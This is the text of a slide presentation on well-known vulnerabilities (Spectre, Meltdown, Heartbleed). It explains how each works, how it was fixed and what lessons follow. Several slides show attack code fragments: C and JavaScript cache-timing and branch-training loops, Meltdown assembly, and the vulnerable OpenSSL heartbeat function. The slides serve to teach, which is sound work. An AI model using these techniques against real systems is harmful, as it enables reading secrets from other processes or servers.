Your browser doesn't support the features required by impress.js, so you are presented with a simplified version of this presentation.
For the best experience please use the latest Chrome, Safari or Firefox browser.
Celebrity
Vulnerabilities
Reported vulnerabilities (CVE)
- Number of vulnerabilities grows every year ...
- ... in 2017 we hit the record of 14,714
- ... but only some become major story worldwide
- What is there secret?
Spectre
CVE-2017-5715
Famous for:
- Abusing hardware
- Leaking information
- Breaking ASLR
- Affecting billions of devices
- One of most famous hardware related bugs
What is a branch
if ( veryLongFunction() ) {
compute1();
compute2();
} else {
compute3();
compute4();
}
- Conditional branch is translated to
- Some conditions take long time to compute
- Do not want to stall the pipeline
- CPU predicts the result of branch condition
Branch prediction
- uses only the low bits of address
- hash with global history to avoid aliasing
- outcome based on 2-bit saturating counter
Branch training
uint8_t array[] = { 'v','i','c','t','i','m',' ','a','r','r','a','y' };
void victim_function(size_t x) {
if (x < array_size)
temp = array[x];
}
int main() {
size_t indexes[] = {0, 1, 2, 3, 4, 0xffff01};
for (int i : indexes) {
_mm_clflush(&array1_size);
victim_function(i);
}
}
Branch training
Key points
- Need to flush array_size to trigger prediction
- Speculative execution maintains the architectural state of the program
- Micro-architectural state reverted after miss prediction
- registers are restored
- program counter is restored
- But ...
The ghost with a branch
Cache side effects
uint8_t array[] = { 'v','i','c','t','i','m',' ','a','r','r','a','y' };
void victim_function(size_t x) {
if (x < array_size) {
temp = array[x];
}
}
Cache side effects (probe array)
uint8_t array[] = { 'v','i','c','t','i','m',' ','a','r','r','a','y' };
uint8_t probe_array[256];
void victim_function(size_t x) {
if (x < array_size) {
temp = probe_array[array[x]];
}
}
Cache side effects (probe array * cache line)
uint8_t array[] = { 'v','i','c','t','i','m',' ','a','r','r','a','y' };
uint8_t probe_array[256*64];
void victim_function(size_t x) {
if (x < array_size) {
temp = probe_array[array[x] * 64];
}
}
Cache side effects (ignore stride detection effects)
uint8_t array[] = { 'v','i','c','t','i','m',' ','a','r','r','a','y' };
uint8_t probe_array[256*512];
void victim_function(size_t x) {
if (x < array_size) {
temp = probe_array[array[x] * 512];
}
}
Measure access time
for (tries = 0; tries < 999; tries++) {
for (i = 0; i < 256; i++)
_mm_clflush(&probe_array[i * 4096]); // flush probe array
training_x = tries % array_size; // pick next training letter
for (j = 0; j < 6; j++) { // train, every 6th is malicious
_mm_clflush(&array1_size);
victim_function( j == 5 ? malicious_x : training_x);
}
for (i = 0; i < 256; i++) { // count the score
time1 = __rdtscp(&junk); // - READ TIMER
junk = probe_array[i*4096]; // - MEMORY ACCESS TO TIME
time2 = __rdtscp(&junk) - time1; // - COMPUTE ELAPSED TIME
if (/* fast */) score[i]++;
}
}
Measure access time (train 5 x 'v')
Measure access time (train 5 x 'i')
Measure access time (train 5 x 'c')
Measure access time (train 5 x 't')
for (tries = 0; tries < 999; tries++) {
for (i = 0; i < 256; i++)
_mm_clflush(&probe_array[i * 4096]); /* flush probe array */
training_x = tries % array_size; // pick next training letter
for (j = 0; j < 6; j++) {
_mm_clflush(&array1_size);
victim_function( j == 5 ? malicious_x : training_x);
}
}
Spectre - limitations
- we can read from any address (but not write)
- only within our process address space
- requires very specific victim function
- need to inject precise time measurement code
- look that number of affected applications is limited
Spectre - running in browser
- browser keeps some sensitive information
- password, logins, keys, ...
- browser allows to run custom code
- javascript language
- browser JIT compiler
- asm.js support
- we can easily create a victim function
- using asm.js to create optimized binary code
- can't flush arr_size - will use new one every time
j = ((tries<<12)|0)|0; // tires * 4096
arr_size = array_sizes[(j|0)]|0; // fresh array size
if ((index|0) < (arr_size|0)) {
index = array[index|0]|0; // fetch data
index = (index << 12)|0; // index * 4096
junk = (junk ^ (probeTable[index]|0))|0; // use data on probe array
}
- we can easily inject time measurement code
- using performance.now() (not so precise anymore)
- using worker thread, atomics and SharedArrayBuffer
// worker_thread.js
self.onmessage = function(event) {
const sharedArray = new Uint32Array(event.data);
while(true) {
Atomics.add(sharedArray, 0, 1);
}
}
// main.js
let t1 = Atomics.load(sharedArray, 0);
junk = Atomics.load(sharedArray, 0)
let t2 = Atomics.load(sharedArray, 0) - t1;
- we can easily flush the probe_table
- CPU specific automatic cache eviction policies
- loading array equal to cache size
function clflush(size) {
const cacheline = 64;
for (var i = 0; i < ((size) / cacheline); i++) {
junk = evictionView.getUint32(i * cacheline);
}
}
- we have to avoid additional conditions in code
- using bit operators as a substitution to if/else statement
for (var j = 1; j < TRAIN_COUNT+1; j++)
var x = ((j % 4) - 1) & ~0xFFFF; // 0,0,0,ffff0000
x = (x | (x >> 16)); // 0,0,0,ffffffff
x = train_x ^ (x & (malicious_x ^ train_x)); // t,t,t,malicious
victim_function(x);
}
Spectre - fixing the browser
Hardware level problem - need workarounds:
- reduce the precision of performance.now()
- time-fuzzing techniques
- disabling SharedArrayBuffer
- site isolation (process per browser tab or per site)
- JIT changes - use masks on array indexes
Spectre variants
- Variant 1: Bounds Check Bypass (BCB)
- Variant 2: Branch Target Injection (BTI)
- Variant 3: Rogue Data Cache Load (RDCL) - Meltdown
- Variant 3a: Rogue System Register Read (RSRE)
- Variant 4: Speculative Store Bypass (SSB)
- Variant 5: L1 Terminal Fault (L1TF) - Foreshadow
Meltdown
CVE-2017-5754
Famous for:
- Breaking security domains (hardware enforced)
- Braking KASLR
- Leaking kernel memory
- Affecting millions of devices
- Considered a Spectre variant
Meltdown - example code
- slightly easier approach then Spectre
uint8_t* ptr = (uint8_t*) 0x0000812345678900;
uint8_t junk = *ptr;
- ... and there is a chance that the value will be in cache
- ... where we can read it using cache side channel
- Making this chance a certain thing is what Meltdown is all about
Kernel vs user space
Kernel vs user space - page tables
- same set of page tables used by process and kernel
- supervisor page table attribute
- hardware-enforced isolation of security domains
- reading kernel memory from user space should cause SEGV
- fast mode swtich
Meldown - attack
- similar to spectre but different target (the OS)
- race condition between memory access and privilege checking
- using side channel information (cache)
Meltdown - fragment code
- Adding retry loop and probe array
retry:
xor %rax,%rax // val = 0
mov (%rdx),%al // val = *ptr
shl $0xc,%rax // val = val * 4096
je retry // if (val == 0) got retry
mov (%rcx,%rax,1),%rbx // junk = probe[val]
- ... and handling the SEGV with Intel TSX
if (_xbegin() == _XBEGIN_STARTED) {
victim_function(ptr, probe_array);
_xend();
}
Meldown - the fix
- Open source community was furious
- Linux kernel patch has slowned down the OS perfomance
- have to unmap the kernel space
- mode swtich as slow as context swtich
- working name of the fix:
- Forcefully Unmap Complete Kernel With Interrupt Trampolines (F**CKWIT)
- More offical patch name:
- Kernel Address Isolation to have Side-channels Efficiently Removed (KAISER)
- And final feature name:
- Kernel Page Table Isolation (KPTI)
Kernel Page Table Isolation (KPTI)
Meldown and Spectre - hardware fix
- CPU designers patched to microcode
- Not part of OS update (get it from PC manufacture website)
Vulnerability |
Mitigation |
Meltdown |
Hardware fix |
Spectre-V1 |
Software fix |
Spectre-V2 |
Hardware fix |
Meldown and Spectre - lessons learned
- Faster does not mean better (CPU manufactures race)
- Security applies everywhere (even hardware)
- Nowadays we can't even trust the hardware
- Hardware bugs really hurt
- They are really hard to fix
- Protect your side channel information
Heartbleed
CVE-2014-0160
Famous for:
- Leaking cryptographic keys, login credentials, ....
- One of the most consequential in the era commercial Internet
- Affected sites: 24–55% of popular HTTPS sites
- Affected servers: Apache, Nginx, Tomcat, ...
Heartbeat extension
- Extension to TLS
- Provides keep-alive functionality
- Mostly intended for DTLS
- Heartbeat frame:
Heartbeat extension - bug
int dtls1_process_heartbeat(SSL *s) {
unsigned char *p = &s->s3->rrec.data[0], *pl;
// [...]
/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload);
pl = p;
// [...]
if (hbtype == TLS1_HB_REQUEST) {
unsigned char *buffer, *bp;
int r;
/* Allocate memory for the response */
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
bp += payload;
/* Random padding */
RAND_pseudo_bytes(bp, padding);
// [...]
}
Heartbleed - damage done
-
Vulnerable OpenSSL versions:
- OpenSSL 1.0.1 through 1.0.1f (inclusive)
- Vulnerable for over 2 years
2012-03-14 12:39:00 +0000 (tag: OpenSSL_1_0_1)
2014-01-06 14:36:07 +0000 (tag: OpenSSL_1_0_1f)
2014-04-07 17:55:44 +0100 (tag: OpenSSL_1_0_1g)
Web Servers |
Mail Servers |
Database Servers |
Apache (mod_ssl) |
Sendmail |
MySQL |
Microsoft IIS |
Postfix |
PostgreSQL |
Nginx |
Qmail |
SQL Server |
Lighttpd |
Exim |
Oracle |
Tomcat |
Courier |
IBM DB2 |
Google GWS |
Exchange |
MongoDB |
LiteSpeed |
Dovecot |
CouchDB |
IBM Web Server |
Cyrus |
Cassandra |
Jetty |
Zimbra |
Redis |
- Affected sites
- Estimated 24–55% of popular HTTPS sites
- Vulnerable before disclosure:
- Google, Youtube, Wikipedia, Instagram, Netflix, Wordpress, ...
- All of the Alexa Top 100 websites patched within 48 hours of disclosure
- Some where still vulnerable after 48 hours period
- Yahoo, Stack Overflow, Flickr, ...
- There were numerous successful attacks even after the disclosure
Cloudflare Heartbleed challenge
"We think the stealing private keys on most NGINX servers is at least extremely hard"
- Nnginx server with a vulnerable version of OpenSSL
- Challenged the community to steal its private key
- The first valid submission after few hours
- Author sent at least 2.5 million requests
Heartbleed - fixing the bug
revoke certificates (a lot of them)
create new certificates
disable extension (requires recompilation)
move to older version of OpenSSL or patch:
if (1 + 2 + payload + 16 > s->s3->rrec.length)
return 0; /* silently discard per RFC 6520 sec. 4 */
Heartbleed - lets think
- An extension that most of the servers did not need
- ... included by default
- ... with a school boy error bug
- ... that allows to read 65K from heap
- ... with each request
- ... for two years
Heartbleed - lessons learned
- Validate your inputs
- especially if you are committing to projects like OpenSSL
- Everyone makes mistakes (even security experts)
- Commonality also brings single point of failure
- The more widely used code the more damage the bug will do
- Act fast after disclosure
Thank you
Use a spacebar or arrow keys to navigate